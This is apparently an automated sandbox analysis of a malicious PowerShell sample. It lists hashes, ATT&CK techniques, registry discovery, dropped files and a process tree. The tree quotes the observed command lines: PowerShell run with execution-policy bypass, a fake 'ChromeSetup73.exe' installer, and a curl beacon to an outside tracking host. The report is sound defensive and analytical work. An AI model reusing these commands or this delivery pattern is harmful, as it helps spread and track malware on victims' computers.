944bfe82b949fcb067d4aa0463af94a13cfd7c97dfdd8ae8d9ff5ebcebaa22f2

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/11/2026, 01:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
944bfe82b949fcb0.ps1
Size 4KB
Sample261113-b1w3eaev71
SHA256 944bfe82b949fcb067d4aa0463af94a13cfd7c97dfdd8ae8d9ff5ebcebaa22f2
MD5 f208c8afb9b34f05ea38c406659bb6f0
SHA1 37fce4d43c2a5a6989376aec0f464e2ea048d984
SHA512 37f4b2b59676a345ff22fd4ff368baa9cb2e6528eeb667db5e23066e1908bb08ada302dde5bb9f0b2c907d0284c5534affd77e74023b34d2d1833d381aae4fdd
SSDEEP 96:Pm2c+RZ2rDum2GGErLqalNJ7DK+B2JG+E7Reakj0FstAhF6B+pzmUgn:Pc+R0rDuDErxf7DK+84R9FFob2zmt
TLSH
T11B813590FE48E4D1896759F7FC6A3E56D23812B1DCCA26C80398B2D927B7B359718CC0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	2636	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	1928	Process not Found

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	ChromeSetup73.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	ChromeSetup73.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3976	powershell.exe
2636	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3976	powershell.exe
3976	powershell.exe
2636	powershell.exe
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3976 wrote to memory of 2636	3976	powershell.exe	86
PID 2636 wrote to memory of 4748	2636	powershell.exe	94
PID 2636 wrote to memory of 3948	2636	powershell.exe	95

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\944bfe82b949fcb0.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\Downloads\1247786399exe.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Users\Admin\Downloads\ChromeSetup73.exe
    "C:\Users\Admin\Downloads\ChromeSetup73.exe"
    3⤵
    - Maps connected drives based on registry
    PID:4748
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://nexguard.pro/ae8ouxb9gx/api?t=4819ebd7c129161d3cd8dd89d4efec1fec66c785&track=1&event=launch_ok
    3⤵
    PID:3948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5214730f06c3fd9278b5b6aeed7ab848f0850eefd6ac0d0e3a4f83b6f0a4ea5f
MD5 337cfb1a3e98ea75718ae7f65b4b8dbf
SHA1 158ca6a6c3973cc8aad8338310b55b96f415f437
SHA512 e1b453ca790b86b3d47d9a98d96e547d42305c56a55fc9ffebf0624af2bb0ffe2657815cf7735f44349c358a544b5572a73de7133c6bf2f010459ec56ce76aa9
TLSH
T15021A837B3DC8921CC86123A009D9C1072B283C7819ECFAFAFC4D604A0BF588CB31290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cpj51cik.qiu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cpj51cik.qiu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

1247786399exe.ps1

Path C:\Users\Admin\Downloads\1247786399exe.ps1
Size 1KB
SHA256 f7f75f5a9240bc878a4f129c10374fa6b12b2c82907c8f500d44bbcff8f8ab49
MD5 9b07b38a94b29d9d3e3e7f26d7bc52aa
SHA1 36f490cb635821853a83d88fe82d14e276a05685
SHA512 57ea0706e97972296b84d8042e82ff0708f8638e39e59a034a94e99ba32af8f05ccaa815f12e76de2f82e7527a47a30fe5cffdf15e394697a2de34d691846b3b
TLSH
T15B314257F2B4257E42C587D691E093769833D74DC2984ABC30BC57839A215FF1A6C1C6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2636-14-0x0000020EFF1C0000-0x0000020EFF1D0000-memory.dmp

Download

memory/2636-24-0x0000020E82770000-0x0000020E82796000-memory.dmp

Download

memory/2636-25-0x0000020EE6F20000-0x0000020EE6F34000-memory.dmp

Download

memory/2636-26-0x0000020EFF1C0000-0x0000020EFF1D0000-memory.dmp

Download

memory/3976-0-0x0000022FDBE10000-0x0000022FDBE20000-memory.dmp

Download

memory/3976-1-0x0000022FDBE10000-0x0000022FDBE20000-memory.dmp

Download

memory/3976-9-0x0000022FDBDC0000-0x0000022FDBDE2000-memory.dmp

Download